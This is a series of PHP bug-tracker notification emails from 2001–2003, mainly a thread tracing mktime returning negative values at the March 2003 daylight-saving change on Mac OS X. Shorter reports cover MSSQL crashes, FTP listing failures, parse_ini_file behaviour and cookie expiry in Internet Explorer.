#22163 [NEW]: mktime returns -3662
From: [EMAIL PROTECTED] Operating system: MacOS X 10.2 PHP version: 4.3.0 PHP Bug Type: Date/time related Bug description: mktime returns -3662 Hello the function mktime seems to return an incorrect value for certain dates. Example: $the_day=mktime(0,0,0,03,30,03); returns the value -3662 I have also tried different variations: $the_day=mktime(0,0,0,3,30,03); $the_day=mktime(0,0,0,03,30,2003); But all yield the same result. If I use: $the_day=mktime(0,0,0,03,29,03); I get a UNIX timestamp back as expected. When using the mktime() function I normally also specify the daylight savings time value of 0, but this also makes no difference, whether it is 0 or 1. I am using PHP as built by www.entropy.ch -- Edit bug report at http://bugs.php.net/?id=22163&edit=1 -- Try a CVS snapshot: http://bugs.php.net/fix.php?id=22163&r=trysnapshot Fixed in CVS: http://bugs.php.net/fix.php?id=22163&r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=22163&r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=22163&r=needtrace Try newer version: http://bugs.php.net/fix.php?id=22163&r=oldversion Not developer issue:http://bugs.php.net/fix.php?id=22163&r=support Expected behavior: http://bugs.php.net/fix.php?id=22163&r=notwrong Not enough info:http://bugs.php.net/fix.php?id=22163&r=notenoughinfo Submitted twice:http://bugs.php.net/fix.php?id=22163&r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=22163&r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=22163&r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=22163&r=dst IIS Stability: http://bugs.php.net/fix.php?id=22163&r=isapi Install GNU Sed:http://bugs.php.net/fix.php?id=22163&r=gnused
#22176 [Com]: Website Language Selection?
ID: 22176 Comment by: [EMAIL PROTECTED] Reported By: [EMAIL PROTECTED] Status: Open Bug Type: Feature/Change Request Operating System: n/a PHP Version: 4.3.0 New Comment: I don't see much promise in this, as you have to remember, alot of the languages also have mirrors, creating a ton of different choices, and making it easy to confuse the visitor, as well as making extra, unneeded work for the web team.. Andrew Heebner Previous Comments: [2003-02-11 14:38:02] [EMAIL PROTECTED] I was wondering if it'd be possible to make urls like this: http://www.php.net/manual/*/function.parse-ini-file.php and then when someone goes to that link, it displays a list of languages to choose from, then shows the file being requested in the chosen language... It will make linking to the manual much easier, especially on multi-lingual sites. Just a thought... not much work. - Davey -- Edit this bug report at http://bugs.php.net/?id=22176&edit=1
#22163 [Fbk->Opn]: mktime returns -3662
ID: 22163 User updated by: [EMAIL PROTECTED] Reported By: [EMAIL PROTECTED] -Status: Feedback +Status: Open Bug Type: Date/time related Operating System: MacOS X 10.2 PHP Version: 4.3.0 New Comment: Sorry if I misunderstand, but as my first post shows I have tried the year as 2003, as well as 03. No difference, and using the 29th as the day instead works. Previous Comments: [2003-02-11 10:22:27] [EMAIL PROTECTED] I think that for some reason on your system, 03 is interpreted as 0003 and not 2003 as you intended (works fine on linux). Could you try changing the year to 2003 and see if that fixes the problem? [2003-02-11 04:51:50] [EMAIL PROTECTED] Hello the function mktime seems to return an incorrect value for certain dates. Example: $the_day=mktime(0,0,0,03,30,03); returns the value -3662 I have also tried different variations: $the_day=mktime(0,0,0,3,30,03); $the_day=mktime(0,0,0,03,30,2003); But all yield the same result. If I use: $the_day=mktime(0,0,0,03,29,03); I get a UNIX timestamp back as expected. When using the mktime() function I normally also specify the daylight savings time value of 0, but this also makes no difference, whether it is 0 or 1. I am using PHP as built by www.entropy.ch -- Edit this bug report at http://bugs.php.net/?id=22163&edit=1
#22163 [Fbk->Opn]: mktime returns -3662
ID: 22163 User updated by: [EMAIL PROTECTED] Reported By: [EMAIL PROTECTED] -Status: Feedback +Status: Open Bug Type: Date/time related Operating System: MacOS X 10.2 PHP Version: 4.3.0 New Comment: Yes, I have also tried (and just tried it again to make sure): $the_day=mktime(0,0,0,3,30,2003); Same result, -3662 Anything else I can try to narrow down where the problem might be lying? Previous Comments: [2003-02-11 15:29:51] [EMAIL PROTECTED] Did you try: $the_day=mktime(0,0,0,3,30,2003); ?? [2003-02-11 14:55:01] [EMAIL PROTECTED] Sorry if I misunderstand, but as my first post shows I have tried the year as 2003, as well as 03. No difference, and using the 29th as the day instead works. [2003-02-11 10:22:27] [EMAIL PROTECTED] I think that for some reason on your system, 03 is interpreted as 0003 and not 2003 as you intended (works fine on linux). Could you try changing the year to 2003 and see if that fixes the problem? [2003-02-11 04:51:50] [EMAIL PROTECTED] Hello the function mktime seems to return an incorrect value for certain dates. Example: $the_day=mktime(0,0,0,03,30,03); returns the value -3662 I have also tried different variations: $the_day=mktime(0,0,0,3,30,03); $the_day=mktime(0,0,0,03,30,2003); But all yield the same result. If I use: $the_day=mktime(0,0,0,03,29,03); I get a UNIX timestamp back as expected. When using the mktime() function I normally also specify the daylight savings time value of 0, but this also makes no difference, whether it is 0 or 1. I am using PHP as built by www.entropy.ch -- Edit this bug report at http://bugs.php.net/?id=22163&edit=1
#22163 [Fbk->Opn]: mktime returns -3662
ID: 22163 User updated by: [EMAIL PROTECTED] Reported By: [EMAIL PROTECTED] -Status: Feedback +Status: Open Bug Type: Date/time related Operating System: MacOS X 10.2 PHP Version: 4.3.0 New Comment: ok, I used the script: "; echo "23:59:59 29-Mar = ", mktime(23, 59, 59, 3, 29, 2003),"; 01:00:01 30-Mar = ", mktime(1, 0, 1, 3, 30, 2003); ?> and got: -3662 23:59:59 29-Mar = 1048982399; 01:00:01 30-Mar = -61 I thought it might be a daylight savings time problem as well, hence I thought the extra parameter I normally use would solve the problem, but it didn't. i.e. $the_day=mktime(0,0,0,3,30,2003,0); Previous Comments: [2003-02-12 05:31:04] [EMAIL PROTECTED] Of course, I meant "; 01:00:01 30-Mar = " in the second line (although the mktime() call is correct)! [2003-02-12 05:27:07] [EMAIL PROTECTED] I think this must be related to daylight savings time -- 30th March 2003 is certainly the date on which DST begins in western Europe. Can you try this, and see what you get: echo "23:59:59 29-Mar = ", mktime(23, 59, 59, 3, 29, 2003), "; 00:00:01 30-Mar = ", mktime(1, 0, 1, 3, 30, 2003); If those timestamps are 2 seconds apart, then your original mktime() is falling into the limbo of the "lost hour" due to the clocks going back (the second after 29-Mar-2003 23:59:59 must be regarded as 30-Mar-2003 01:00:00), and the algorithm used on your system returns a nonsense value when that happens. Mike [2003-02-12 02:31:17] [EMAIL PROTECTED] Yes, I have also tried (and just tried it again to make sure): $the_day=mktime(0,0,0,3,30,2003); Same result, -3662 Anything else I can try to narrow down where the problem might be lying? [2003-02-11 15:29:51] [EMAIL PROTECTED] Did you try: $the_day=mktime(0,0,0,3,30,2003); ?? [2003-02-11 14:55:01] [EMAIL PROTECTED] Sorry if I misunderstand, but as my first post shows I have tried the year as 2003, as well as 03. No difference, and using the 29th as the day instead works. The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/22163 -- Edit this bug report at http://bugs.php.net/?id=22163&edit=1
#22163 [Fbk->Opn]: mktime returns -3662
ID: 22163 User updated by: [EMAIL PROTECTED] Reported By: [EMAIL PROTECTED] -Status: Feedback +Status: Open Bug Type: Date/time related Operating System: MacOS X 10.2 PHP Version: 4.3.0 New Comment: really screwy then :-) With the script: "; echo "23:59:59 29-Mar = ", mktime(23, 59, 59, 3, 29, 2003),"; 01:01:03 30-Mar = ", mktime(1, 1, 3, 3, 30, 2003); ?> I get the result: -3662 23:59:59 29-Mar = 1048982399; 01:01:03 30-Mar = -1 Previous Comments: [2003-02-12 07:28:21] [EMAIL PROTECTED] H'mmm -- I get 23:59:59 29-Mar = 1048982399; 01:00:01 30-Mar = 1048982401 on my system, which is what I expected from your report. There seems to be an extra minute or so of limbo on yours for some reason. Can you try again with: mktime(1, 1, 3, 3, 30, 2003) and let us know the result. If it's about 1048982463, then it seems there's a whole minute in there for which you don't seem to be able to get a valid time. If it's anything else, then something is really screwy. Either way, it seems to be a real bug. [2003-02-12 05:53:05] [EMAIL PROTECTED] ok, I used the script: "; echo "23:59:59 29-Mar = ", mktime(23, 59, 59, 3, 29, 2003),"; 01:00:01 30-Mar = ", mktime(1, 0, 1, 3, 30, 2003); ?> and got: -3662 23:59:59 29-Mar = 1048982399; 01:00:01 30-Mar = -61 I thought it might be a daylight savings time problem as well, hence I thought the extra parameter I normally use would solve the problem, but it didn't. i.e. $the_day=mktime(0,0,0,3,30,2003,0); [2003-02-12 05:31:04] [EMAIL PROTECTED] Of course, I meant "; 01:00:01 30-Mar = " in the second line (although the mktime() call is correct)! [2003-02-12 05:27:07] [EMAIL PROTECTED] I think this must be related to daylight savings time -- 30th March 2003 is certainly the date on which DST begins in western Europe. Can you try this, and see what you get: echo "23:59:59 29-Mar = ", mktime(23, 59, 59, 3, 29, 2003), "; 00:00:01 30-Mar = ", mktime(1, 0, 1, 3, 30, 2003); If those timestamps are 2 seconds apart, then your original mktime() is falling into the limbo of the "lost hour" due to the clocks going back (the second after 29-Mar-2003 23:59:59 must be regarded as 30-Mar-2003 01:00:00), and the algorithm used on your system returns a nonsense value when that happens. Mike [2003-02-12 02:31:17] [EMAIL PROTECTED] Yes, I have also tried (and just tried it again to make sure): $the_day=mktime(0,0,0,3,30,2003); Same result, -3662 Anything else I can try to narrow down where the problem might be lying? The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/22163 -- Edit this bug report at http://bugs.php.net/?id=22163&edit=1
#22163 [Opn]: mktime returns -3662
ID: 22163 User updated by: [EMAIL PROTECTED] Reported By: [EMAIL PROTECTED] Status: Open Bug Type: Date/time related Operating System: MacOS X 10.2 PHP Version: 4.3.0 New Comment: The first result I get is when mktime() is set to: $the_day=mktime(2,0,0,3,30,2003); and the result is: 1048989600 instead of -1 Previous Comments: [2003-02-12 08:03:47] [EMAIL PROTECTED] Maybe -- or maybe my arithmetic is off! Could you possibly do a bit more testing and report the first time after 01:01:03 that you get a likely result (and what it is!)? [2003-02-12 07:43:00] [EMAIL PROTECTED] really screwy then :-) With the script: "; echo "23:59:59 29-Mar = ", mktime(23, 59, 59, 3, 29, 2003),"; 01:01:03 30-Mar = ", mktime(1, 1, 3, 3, 30, 2003); ?> I get the result: -3662 23:59:59 29-Mar = 1048982399; 01:01:03 30-Mar = -1 [2003-02-12 07:28:21] [EMAIL PROTECTED] H'mmm -- I get 23:59:59 29-Mar = 1048982399; 01:00:01 30-Mar = 1048982401 on my system, which is what I expected from your report. There seems to be an extra minute or so of limbo on yours for some reason. Can you try again with: mktime(1, 1, 3, 3, 30, 2003) and let us know the result. If it's about 1048982463, then it seems there's a whole minute in there for which you don't seem to be able to get a valid time. If it's anything else, then something is really screwy. Either way, it seems to be a real bug. [2003-02-12 05:53:05] [EMAIL PROTECTED] ok, I used the script: "; echo "23:59:59 29-Mar = ", mktime(23, 59, 59, 3, 29, 2003),"; 01:00:01 30-Mar = ", mktime(1, 0, 1, 3, 30, 2003); ?> and got: -3662 23:59:59 29-Mar = 1048982399; 01:00:01 30-Mar = -61 I thought it might be a daylight savings time problem as well, hence I thought the extra parameter I normally use would solve the problem, but it didn't. i.e. $the_day=mktime(0,0,0,3,30,2003,0); [2003-02-12 05:31:04] [EMAIL PROTECTED] Of course, I meant "; 01:00:01 30-Mar = " in the second line (although the mktime() call is correct)! The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/22163 -- Edit this bug report at http://bugs.php.net/?id=22163&edit=1
#22163 [Ana]: mktime returns -3662
ID: 22163 User updated by: [EMAIL PROTECTED] Reported By: [EMAIL PROTECTED] Status: Analyzed Bug Type: Date/time related Operating System: MacOS X 10.2 PHP Version: 4.3.0 New Comment: Ok, yes that sounds reasonable. I guess in the meantime instead of getting a time at midnight I should opt for another, say 11pm? I think I saw another post somewhere that recommends doing this to combat daylight savings time problems. And I'll wait and see whether it is something that can be addressed by PHP or whether as you say it is an OS issue. Previous Comments: [2003-02-12 09:50:56] [EMAIL PROTECTED] OK! That actually seems reasonable. In Europe at least, the DST time-change is defined to take place at 01:00:00, so the hour from 01:00:00 to 01:59:59 does not exist on that date. So it look like the bug is that the times for the hour between 00:00:00 and 00:59:59 are wrong on a date when the clock goes back for DST. Now that we have this pinned down, I'm going to kick this to a developer who knows about the relevant bits of the PHP source to say whether this is something PHP can address, or whether it's a bug in the date/time handling of MacOS X that you'll just have to live with. [2003-02-12 08:37:47] [EMAIL PROTECTED] The first result I get is when mktime() is set to: $the_day=mktime(2,0,0,3,30,2003); and the result is: 1048989600 instead of -1 [2003-02-12 08:03:47] [EMAIL PROTECTED] Maybe -- or maybe my arithmetic is off! Could you possibly do a bit more testing and report the first time after 01:01:03 that you get a likely result (and what it is!)? [2003-02-12 07:43:00] [EMAIL PROTECTED] really screwy then :-) With the script: "; echo "23:59:59 29-Mar = ", mktime(23, 59, 59, 3, 29, 2003),"; 01:01:03 30-Mar = ", mktime(1, 1, 3, 3, 30, 2003); ?> I get the result: -3662 23:59:59 29-Mar = 1048982399; 01:01:03 30-Mar = -1 [2003-02-12 07:28:21] [EMAIL PROTECTED] H'mmm -- I get 23:59:59 29-Mar = 1048982399; 01:00:01 30-Mar = 1048982401 on my system, which is what I expected from your report. There seems to be an extra minute or so of limbo on yours for some reason. Can you try again with: mktime(1, 1, 3, 3, 30, 2003) and let us know the result. If it's about 1048982463, then it seems there's a whole minute in there for which you don't seem to be able to get a valid time. If it's anything else, then something is really screwy. Either way, it seems to be a real bug. The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/22163 -- Edit this bug report at http://bugs.php.net/?id=22163&edit=1
#22163 [Bgs]: mktime returns -3662
ID: 22163 User updated by: [EMAIL PROTECTED] Reported By: [EMAIL PROTECTED] Status: Bogus Bug Type: Date/time related Operating System: MacOS X 10.2 PHP Version: 4.3.0 New Comment: Thanks for the feedback. Will continue using mktime() at a time other than midnight. Previous Comments: [2003-02-12 13:12:57] [EMAIL PROTECTED] It's MacosX specific and not PHP bug. And you're better off when you don't use midnight for time anyway.. [2003-02-12 10:08:28] [EMAIL PROTECTED] Ok, yes that sounds reasonable. I guess in the meantime instead of getting a time at midnight I should opt for another, say 11pm? I think I saw another post somewhere that recommends doing this to combat daylight savings time problems. And I'll wait and see whether it is something that can be addressed by PHP or whether as you say it is an OS issue. [2003-02-12 09:50:56] [EMAIL PROTECTED] OK! That actually seems reasonable. In Europe at least, the DST time-change is defined to take place at 01:00:00, so the hour from 01:00:00 to 01:59:59 does not exist on that date. So it look like the bug is that the times for the hour between 00:00:00 and 00:59:59 are wrong on a date when the clock goes back for DST. Now that we have this pinned down, I'm going to kick this to a developer who knows about the relevant bits of the PHP source to say whether this is something PHP can address, or whether it's a bug in the date/time handling of MacOS X that you'll just have to live with. [2003-02-12 08:37:47] [EMAIL PROTECTED] The first result I get is when mktime() is set to: $the_day=mktime(2,0,0,3,30,2003); and the result is: 1048989600 instead of -1 [2003-02-12 08:03:47] [EMAIL PROTECTED] Maybe -- or maybe my arithmetic is off! Could you possibly do a bit more testing and report the first time after 01:01:03 that you get a likely result (and what it is!)? The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/22163 -- Edit this bug report at http://bugs.php.net/?id=22163&edit=1
#20896 [Com]: php -w hangs indefinitely at 100% CPU
ID: 20896 Comment by: [EMAIL PROTECTED] Reported By: [EMAIL PROTECTED] Status: Verified Bug Type: *General Issues Operating System: SuSE 7.2 PHP Version: 4.3.0RC2 New Comment: Works fine for me on WinXP SP1 with 4.4.0-dev (CVS). Previous Comments: [2002-12-13 05:46:05] [EMAIL PROTECTED] Same problem exists in 4.3.0RC3 [2002-12-11 02:38:44] [EMAIL PROTECTED] This happens also with the -s option. And with CGI binary too. Basically the reason is that the -s / -w options use some hackish way to accomplish the tasks. Which seems to work on some systems though.. [2002-12-11 02:20:06] [EMAIL PROTECTED] Also repeatable on SuSE 8.0 [2002-12-09 00:03:12] [EMAIL PROTECTED] Not quite a crash, but I found no better category (time to add one for the CLI SAPI?) A simple php -w filename.php will on my system output the things it should, but then hang forever at full CPU consumption. [PHP Modules] ctype gd mysql overload pcre pgsql posix session standard tokenizer xml zlib -- Edit this bug report at http://bugs.php.net/?id=20896&edit=1
Bug #14348 Updated: Major PHP memory corruption? (with testcase)
ID: 14348 Updated by: [EMAIL PROTECTED] Reported By: [EMAIL PROTECTED] Status: Feedback Bug Type: Apache related Operating System: Windows XP Professional PHP Version: 4.0.6 New Comment: Im using winxp with php 4.2 rc4 and apache 2.0.35 and im getting the same problem, tried the flush command in the ini but no joy, does no one know how to fix this, its a nightmare, mine mainly does the reloading over and over in IE presumably because its receiving corrupted data so reloads Previous Comments: [2002-04-18 09:25:01] [EMAIL PROTECTED] Please try PHP 4.2.0RC4 from http://www.php.net/~derick/ [2002-04-17 04:07:14] [EMAIL PROTECTED] I have got same probleme with Apache/1.3.22 (Win32) PHP/4.1.1 (AppServ 1.5 package) when asking "big" pages like PhpNuke or OsCommerce [2001-12-05 08:25:29] [EMAIL PROTECTED] I've just tried that - the same problems occur, unfortunately :-( [2001-12-05 07:12:58] [EMAIL PROTECTED] Just a suggestion: can you try if this also is true for RC3 from http://phpuk.org/~james/php-4.1.0RC3-win32.zip ? [2001-12-05 06:57:05] [EMAIL PROTECTED] Right. This is basically bug 14222 in another guise - I can't see how to add comments to that bug. In bug #14222 it shows the type of corruption I've *sometimes* had reports of seeing with Apache 1.3.20-1.3.22, PHP 4.0.6 on both NT4SP6 and W2KSP2. Mainly corruption like what was linked to in http://tugs.imp.ch/index.html.2 but sometimes like this: http://tugs.imp.ch/index.html.3 And then yesterday I upgraded to Windows XP, and initially I was getting corruption in parts of a large PHP page. I rebooted, and started getting (for the first time) the symptom where the page would just keep reloading and reloading and reloading. I have a testcase now which causes the problem most of the time on IE6 and IE5.5 - continual reloading - since the page of this testcase is made up of HTML comments, I can see various numbers of the point at which HTML loading failed before restarting - e.g. \n"); } print "Finished\n"; ?> On Mozilla (recent nightly build), it behaves differently - the page cuts off at a random point (you can see this by doing View Source), but does not continually reload. Intrigued by the difference, I did a wget of the script to see what was actually coming from the webserver. I got the result of test.php?count=50 It got to iteration 1547, then it went ]XT[<80>^@^@^@^@]test[^@<90>^^<81>] --> and then restarted the count at iteration 214! (note: the square brackets delimit the reversed colour characters in the 'less' filereader - showing null characters and high-eighth-bit characters) It continued up along until iteration 439, then went and jumped to iteration 1764. Then at iteration 2409, it printed and continued on from iteration 896... etc. Then we get to 3056, and it goes
#19734 [NEW]: PHP wont fetch all rows in a MSSQL query
From: [EMAIL PROTECTED] Operating system: Windows XP PHP version: 4.2.3 PHP Bug Type: MSSQL related Bug description: PHP wont fetch all rows in a MSSQL query I have a table of several thousand rows in a MSSQL database called amfull. Tried to query this: SELECT Distance FROM journeys WHERE VehicleBoxNo='44000601' PHP bombed out on me. Got the XP error "PHP.EXE has generated errors" So i played around a bit and discovered that if I did the following it prevented PHP from bombing out. SELECT TOP 100 Distance FROM journeys WHERE VehicleBoxNo='44000601' Unfortunately all this does is limit the number of rows to 100 which, in some cases, is very limiting. Any suggestions? -- Edit bug report at http://bugs.php.net/?id=19734&edit=1 -- Try a CVS snapshot: http://bugs.php.net/fix.php?id=19734&r=trysnapshot Fixed in CVS: http://bugs.php.net/fix.php?id=19734&r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=19734&r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=19734&r=needtrace Try newer version: http://bugs.php.net/fix.php?id=19734&r=oldversion Not developer issue:http://bugs.php.net/fix.php?id=19734&r=support Expected behavior: http://bugs.php.net/fix.php?id=19734&r=notwrong Not enough info:http://bugs.php.net/fix.php?id=19734&r=notenoughinfo Submitted twice:http://bugs.php.net/fix.php?id=19734&r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=19734&r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=19734&r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=19734&r=dst
#19734 [Bgs->Opn]: PHP crashes on the REAL data type in a MSSQL query
ID: 19734 User updated by: [EMAIL PROTECTED] -Summary: PHP wont fetch all rows in a MSSQL query Reported By: [EMAIL PROTECTED] -Status: Bogus +Status: Open Bug Type: MSSQL related Operating System: Windows XP PHP Version: 4.2.3 New Comment: Had a further look into the problem and it seems to have to do with the 'REAL' data type. When i changed the data type from REAL to FLOAT in the Microsoft SQL server 7.0 database things worked again... The problem comes with PHP.EXE crashing when it encounters this type of data. Don't know if the REAL type is dissallowed. Tried to provide as much information as i could give this time Previous Comments: [2002-10-03 07:50:26] [EMAIL PROTECTED] Not enough information was provided for us to be able to handle this bug. Please re-read the instructions at http://bugs.php.net/how-to-report.php If you can provide more information, feel free to add it to this bug and change the status back to "Open". Thank you for your interest in PHP. [2002-10-03 06:34:18] [EMAIL PROTECTED] I have a table of several thousand rows in a MSSQL database called amfull. Tried to query this: SELECT Distance FROM journeys WHERE VehicleBoxNo='44000601' PHP bombed out on me. Got the XP error "PHP.EXE has generated errors" So i played around a bit and discovered that if I did the following it prevented PHP from bombing out. SELECT TOP 100 Distance FROM journeys WHERE VehicleBoxNo='44000601' Unfortunately all this does is limit the number of rows to 100 which, in some cases, is very limiting. Any suggestions? -- Edit this bug report at http://bugs.php.net/?id=19734&edit=1
#19756 [NEW]: ftp_nlist() and ftp_rawlist() return nothing (again)
From: [EMAIL PROTECTED] Operating system: Windows PHP version: 4.2.3 PHP Bug Type: FTP related Bug description: ftp_nlist() and ftp_rawlist() return nothing (again) Hi, There are 2 bug reports 13913 and 16057, which are both now closed claiming to be fixed but the problem is appearing in 4.2.3 (which I just downloaded). The ftp_nlist and ftp_rawlist functions return nothing, and seem to take a very long time to do so when I try to use them on windows. All of the other ftp commands work to the best of my knowledge. Additionally, the functions seem to return real quickly some times, but I was checking if it returned any data on that occasion. I'm using windowsXP with apache 1.3.24 for development. I'm happy to supply any more information Thanks for your time Andrew -- Edit bug report at http://bugs.php.net/?id=19756&edit=1 -- Try a CVS snapshot: http://bugs.php.net/fix.php?id=19756&r=trysnapshot Fixed in CVS: http://bugs.php.net/fix.php?id=19756&r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=19756&r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=19756&r=needtrace Try newer version: http://bugs.php.net/fix.php?id=19756&r=oldversion Not developer issue:http://bugs.php.net/fix.php?id=19756&r=support Expected behavior: http://bugs.php.net/fix.php?id=19756&r=notwrong Not enough info:http://bugs.php.net/fix.php?id=19756&r=notenoughinfo Submitted twice:http://bugs.php.net/fix.php?id=19756&r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=19756&r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=19756&r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=19756&r=dst IIS Stability: http://bugs.php.net/fix.php?id=19756&r=isapi
#20331 [NEW]: parse_ini_file() doesn't parse multiple keys
From: [EMAIL PROTECTED] Operating system: WinNT (XP) PHP version: 4.3.0-pre2 PHP Bug Type: Filesystem function related Bug description: parse_ini_file() doesn't parse multiple keys --- Original INI File (1.ini) --- [MAIN] key1=foo key2=bar [BAZ] foo=1 foo=2 foo=3 --- End INI File --- Upon using parse_ini_file() to parse out the keys and section names, i noticed that the function doesn't recoginize multiple keys (as in the [BAZ] section). It simply returns the last key of that name, and that's it. It'd be in well interest if this could be fixed to return the array of the keynames, instead of the last given key. -- Edit bug report at http://bugs.php.net/?id=20331&edit=1 -- Try a CVS snapshot: http://bugs.php.net/fix.php?id=20331&r=trysnapshot Fixed in CVS: http://bugs.php.net/fix.php?id=20331&r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=20331&r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=20331&r=needtrace Try newer version: http://bugs.php.net/fix.php?id=20331&r=oldversion Not developer issue:http://bugs.php.net/fix.php?id=20331&r=support Expected behavior: http://bugs.php.net/fix.php?id=20331&r=notwrong Not enough info:http://bugs.php.net/fix.php?id=20331&r=notenoughinfo Submitted twice:http://bugs.php.net/fix.php?id=20331&r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=20331&r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=20331&r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=20331&r=dst IIS Stability: http://bugs.php.net/fix.php?id=20331&r=isapi
#20331 [Opn]: parse_ini_file() doesn't parse multiple keys
ID: 20331 User updated by: [EMAIL PROTECTED] Reported By: [EMAIL PROTECTED] Status: Open Bug Type: Filesystem function related Operating System: WinNT (XP) PHP Version: 4.3.0-pre2 New Comment: Also, this `bug' has beeen experienced in all my past releases of PHP, not just 4.3.0-pre2. Previous Comments: [2002-11-09 20:04:56] [EMAIL PROTECTED] --- Original INI File (1.ini) --- [MAIN] key1=foo key2=bar [BAZ] foo=1 foo=2 foo=3 --- End INI File --- Upon using parse_ini_file() to parse out the keys and section names, i noticed that the function doesn't recoginize multiple keys (as in the [BAZ] section). It simply returns the last key of that name, and that's it. It'd be in well interest if this could be fixed to return the array of the keynames, instead of the last given key. -- Edit this bug report at http://bugs.php.net/?id=20331&edit=1
Bug #15437 Updated: using querries on a database type SELECT * FROM [$tablename] crashes PHP
ID: 15437 Updated by: [EMAIL PROTECTED] Reported By: [EMAIL PROTECTED] Status: Open Bug Type: Reproducible crash Operating System: Windows 2000 PHP Version: 4.1.1 New Comment: I've identical problem with MS SQL Server too. Access violation at 0x - without any physical address at all. Previous Comments: [2002-02-07 16:38:35] [EMAIL PROTECTED] Using the latest PHP version on a Windows 2000 box, I have been able to connect to the MS SQL server 2000 (v7.0) and select the right database, on another script, I am able to write data into the database with no problem with an INSERT statement, however, the SELECT statement doesn't return a value causing the script to time out, therefore, I applied the method of using square braquets around the table name, which causes every single time I execute this script a crash from PHP.exe Xavier Spriet. -- Edit this bug report at http://bugs.php.net/?id=15437&edit=1
Bug #16346: MSIE Cookies problem
From: [EMAIL PROTECTED]
Operating system: Linux 7.2
PHP version: 4.1.1
PHP Bug Type: HTTP related
Bug description: MSIE Cookies problem
I use string
setcookie('some_c_name','user', $var);
PHP 4.4.1
$var| exp date
IE 5.5
9600 -> Jan 01 2070 02:40:00
3600 -> Jan 01 2070 01:00:00
1-> Jan 01 2070 00:00:01
time()+(60 * 60 * 24 * 30) -> Cant see this cook
NC
9600 -> Jan 01 02:00:01 1970
3600 -> Jan 01 02:00:01 1970
1-> Jan 01 02:00:01 1970
time()+(60 * 60 * 24 * 30) -> Apr 28 17:42:00 2002
I am used the test (http://www.chipchapin.com/WebTools/cookietest.php)
PHP 4.1.1
Method 1: OK
Method 2: Fail
Method 3: Fail
Method 4: OK
Method 5: Fail
Method 6: OK
Method 7: Fail
Method 8: OK
Method 9: OK
Method 10: Fail
Method 11: Fail
Method 12: Fail
Method 13: Fail
PHP 4.0.6
Method 1: OK
Method 2: OK
Method 3: OK
Method 4: OK
Method 5: OK
Method 6: OK
Method 7: OK
Method 8: OK
Method 9: OK
Method 10: OK
Method 11: OK
Method 12: Fail
Method 13: OK
--
Edit bug report at http://bugs.php.net/?id=16346&edit=1
--
Fixed in CVS:http://bugs.php.net/fix.php?id=16346&r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=16346&r=alreadyfixed
Need backtrace: http://bugs.php.net/fix.php?id=16346&r=needtrace
Try newer version: http://bugs.php.net/fix.php?id=16346&r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=16346&r=support
Expected behavior: http://bugs.php.net/fix.php?id=16346&r=notwrong
Not enough info: http://bugs.php.net/fix.php?id=16346&r=notenoughinfo
Submitted twice: http://bugs.php.net/fix.php?id=16346&r=submittedtwice
#26418 [Opn]: loading class files crashes
ID: 26418 Updated by: [EMAIL PROTECTED] Reported By: danielc at analysisandsolutions dot com Status: Open Bug Type: Reproducible crash Operating System: Windows 2000 PHP Version: 5CVS-2003-11-26 (dev) New Comment: I too have also experienced this segfault. php4ts.dll is the culprit, but i have yet to delve farther into debugging it. ~ Andrew Previous Comments: [2003-11-26 02:24:47] danielc at analysisandsolutions dot com Description: Using the latest snapshot, php5-win32-200311260330.zip, when a script loads up a bunch of class files, a Dr Watson error dialog appears saying PHP has crashed. Note, I'm just including the files, not creating an object via "new." I've tried to pin this down to some particular lines of code, but have been unable to find something in particular. While certain combinations of my class files and PEAR::DB create the crash, others don't. This code worked fine until now, so I don't think it's the content. In addition, I've tweaked PEAR.php and DB.php so methods that return by reference are always returning variables. Below is an excerpt from a dump file as examined by WinDbg: (5e4.600): Access violation - code c005 (!!! second chance !!!) eax=00866dfc ebx=00d9ad80 ecx=6e692e67 edx=0063 esi=00d9c5e0 edi=00d9c658 eip=100dcf91 esp=0012fae8 ebp=78001db0 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs= efl=0202 *** WARNING: Unable to verify checksum for php4ts.dll *** ERROR: Symbol file could not be found. Defaulted to export symbols for php4ts.dll - php4ts!zend_ts_hash_rehash+481: 100dcf91 89510c mov [ecx+0xc],edx ds:0023:6e692e73= -- Edit this bug report at http://bugs.php.net/?id=26418&edit=1
#22531 [Opn]: Undefined variable: _ENV, vanished superglobals
